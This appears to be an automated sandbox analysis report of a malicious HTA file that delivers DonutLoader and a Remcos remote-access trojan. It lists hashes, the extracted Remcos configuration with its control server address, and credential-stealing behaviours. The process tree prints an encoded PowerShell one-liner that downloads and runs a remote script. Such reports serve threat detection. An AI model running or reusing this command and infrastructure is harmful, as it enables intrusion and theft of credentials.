Analysis
- max time kernel
149s - max time network
148s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
06/10/2026, 12:18
Static task
static1
Behavioral task
behavioral1
Sample
czxc.hta
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
czxc.hta
Resource
win11ltsc2024-20260911-en
General
- Target czxc.hta
- Size 14KB
- Sample261006-pg3bzagt4z
- SHA256 b77ed548a95a5fa20f0fa6b6eab27e2c2c7b9a2e39f14a6188103bb011555739
- MD5 38adbf59a371610bbe6209b427be8828
- SHA1 603170ef8367dc25516c3bc807382a6e80e93ddb
- SHA512 99490f405aefe0940f2ce0e2e380806343f57497679737728b916e36b432f8c1e2023ed63a2dc281b50fb9911677bfcc6ba53015e94f6ed61892b34bb4fb654e
- SSDEEP 96:Vtagzy4Vthgzy4fYE+elPWtqt9fgzy4St6:Vsgzy4V7gzy4AELWQjgzy4SY
- TLSH T1166242FC5532FCD6A6EAE0B4E41C3E43F5C4963B2964A916BCDC2123478055E1E7F288
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
remcos
-
7.3.1 Pro
-
INDE
-
154.12.117.217:2408
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-HXEGVP
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Detects DonutLoader 1 IoCs
resource yara_rule behavioral1/memory/3500-93-0x0000000016270000-0x0000000017270000-memory.dmp family_donutloader - Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 6 812 powershell.exe - Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\International\Geo\Nation mshta.exe - Executes dropped EXE 1 IoCs
pid Process 3500 XESOSSFTKYRAAJJB.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
description ioc Process Key enumerated \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook XESOSSFTKYRAAJJB.exe Key opened \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook XESOSSFTKYRAAJJB.exe - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
ioc Process \??\F:\ powershell.exe \??\F:\ XESOSSFTKYRAAJJB.exe - Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1452 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 1 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname XESOSSFTKYRAAJJB.exe - System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 812 powershell.exe 812 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 812 powershell.exe - Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 1588 wrote to memory of 1452 1588 mshta.exe 88 PID 1452 wrote to memory of 812 1452 cmd.exe 90 PID 812 wrote to memory of 1752 812 powershell.exe 101 PID 1752 wrote to memory of 3500 1752 WScript.exe 102 - outlook_office_path 1 IoCs
description ioc Process Key enumerated \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook XESOSSFTKYRAAJJB.exe
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\czxc.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1588 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" "/c pOweRSHeLl -eX bYpAss -NOp -w 1 -eC IAAgAAkAIAAJACAAIAAgACAACQAgACAAdwBHAEUAVAAgACAAIAAgACAAIAAdIGgAdAB0AHAAOgAvAC8AMQA3ADIALgAyADQANQAuADEANQA1AC4AOQA3AC8AMwA0AC8AZwBvAG8AZAB0AGgAaQBuAGcAcwBmAG8AcgBtAGUAYgBlAHMAdAAuAEoAUwAdICAACQAJAAkACQAJAAkACQAJAAkALQBPAFUAdABmAGkAbABlACAACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAdICQARQBOAFYAOgBhAHAAUABkAEEAVABhAFwAZwBvAG8AZAB0AGgAaQBuAGcAcwBmAG8AcgBtAGUAYgBlAHMAdAAuAEoAUwAdICAACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJADsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACYAIAAJACAACQAgAAkACQAgAAkAIAAgAB0gJABlAG4AdgA6AEEAUABwAGQAYQB0AGEAXABnAG8AbwBkAHQAaABpAG4AZwBzAGYAbwByAG0AZQBiAGUAcwB0AC4ASgBTAB0g "2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1452 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepOweRSHeLl -eX bYpAss -NOp -w 1 -eC IAAgAAkAIAAJACAAIAAgACAACQAgACAAdwBHAEUAVAAgACAAIAAgACAAIAAdIGgAdAB0AHAAOgAvAC8AMQA3ADIALgAyADQANQAuADEANQA1AC4AOQA3AC8AMwA0AC8AZwBvAG8AZAB0AGgAaQBuAGcAcwBmAG8AcgBtAGUAYgBlAHMAdAAuAEoAUwAdICAACQAJAAkACQAJAAkACQAJAAkALQBPAFUAdABmAGkAbABlACAACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAdICQARQBOAFYAOgBhAHAAUABkAEEAVABhAFwAZwBvAG8AZAB0AGgAaQBuAGcAcwBmAG8AcgBtAGUAYgBlAHMAdAAuAEoAUwAdICAACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJADsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACYAIAAJACAACQAgAAkACQAgAAkAIAAgAB0gJABlAG4AdgA6AEEAUABwAGQAYQB0AGEAXABnAG8AbwBkAHQAaABpAG4AZwBzAGYAbwByAG0AZQBiAGUAcwB0AC4ASgBTAB0g "3⤵
- Badlisted process makes network request
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:812 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\goodthingsformebest.JS"4⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1752 -
C:\Users\Admin\Documents\XESOSSFTKYRAAJJB.exe"C:\Users\Admin\Documents\XESOSSFTKYRAAJJB.exe" C:\Users\Admin\Documents\BJJAARYKTFSSOSEX5⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Enumerates connected drives
- Reads the TCP/IP host and domain name from the registry
- outlook_office_path
PID:3500
-
-
-
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2JavaScript
1Windows Command Shell
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account.tmp
- Size 40KB
- SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
- MD5 ba979c77c714b67908bc582ec373c723
- SHA1 ff6b59b47b8d3ad488eaa7a4b0040a9a93eb19fe
- SHA512 fc6b860dcb9e00c6ab7aa72555fb17921bbb8b1276acf0ab5fcb20b5f2dbd4bf71946c5c4fcfc46310f8de29491a63e46d43805070d19f290070f60077f80b01
- SSDEEP 96:wDaCn8MouB6w9fUP8iZqmvJKLPeymwil:wDaG7Iw9f/iSi
- TLSH T16103440F2E682801C8B94632BCF124E62E7DA03E4F13EED12CB504659D75C52B52E5EF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_naelirtt.ys4.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\goodthingsformebest.JS
- Size 4.5MB
- SHA256 6eac5ca75de8bfaf62e5f17e80b6b32a5039f4f7209c91fb79867e5ffea8bdc9
- MD5 4f1c564a645cda904f0f639cb51aa0c3
- SHA1 72fb522c7ba1738df4712e642b9b1e76ac4827cc
- SHA512 0671a92fcd4e5b3289570cc2993008ec842d2e214b4d1b0756f0c46c65e6fc8b869ae25e1917c18f954d615127b5759307712fbb6e9dc5c2851c88ac11297eab
- SSDEEP 98304:g5zJl9tmaNv+3L77wP3Zd7nvpOdRLPP3IaMenSgTPk83/VGZWMYvZrUe5wH7gZPK:+z/9tmaNv+b77wP3f7nvpOdRLPP3IaMZ
- TLSH T15526C4AA23D492327321AB8D423ADC71958A700335C5CB7031DDF61A379CD4EB76AAD7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Documents\BJJAARYKTFSSOSEX
- Size 1.1MB
- SHA256 afd978360c760e99bbb154f58d5181a7deb5d95f2fb0904ee4bf161a2838826f
- MD5 dfb2a4e3fa5ddc3195db349bbca1cb46
- SHA1 c657d609552e6a2701ea0ca0139a752148afb932
- SHA512 e2287c7d7e11eb843c75daeae871b81c5a107f03c124fb49340a57d3c07955d0129e58e8917a708a5e695f110b6998c2dc283347e742d56bbafe7b42cd3ca10f
- SSDEEP 24576:COqFr2b7fEDNSMcE6lW8vDwsl4sPSIG9YD0Bu/cGNbMFMQVRjDa/CPi:YHh8NbbP5G9/u/cGNbMFMQVRjDa/CPi
- TLSH T16C35C08BB28E7D2801E763E4CC6F0A9E6475D5F5434D46670F44D0A07A7173CCAEAA2E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Documents\XESOSSFTKYRAAJJB.exe
- Size 467KB
- SHA256 52f0c0230b580e2fdf53a378b5c6d0db9829af900dae43e0df8f18635cd9f0c1
- MD5 7f47d5ea49f77b99e25ca2918cea8920
- SHA1 b7b3dbcf32f3b7a78554efee75f0ad5746126c69
- SHA512 04f24c43bc290adb84d23453e3dbbbc317e2b2c9c752e4289501a9358c76116188a7d3cd9d3c44acf23254c4aa39bfaac49341e0085ed6d9e9f9eb1016325453
- SSDEEP 12288:26DGsq60U/A62U1q6CkrlA1NIcjBM4rF3/W:26DGsqEVAWhoIcO4rF3/W
- TLSH T17DA43703A2B353BDC667C1308B978BB2BA32BC9512316DBE2454FB311DB1CA1479F529
- MD5 SHA1 SHA512 SSDEEP TLSH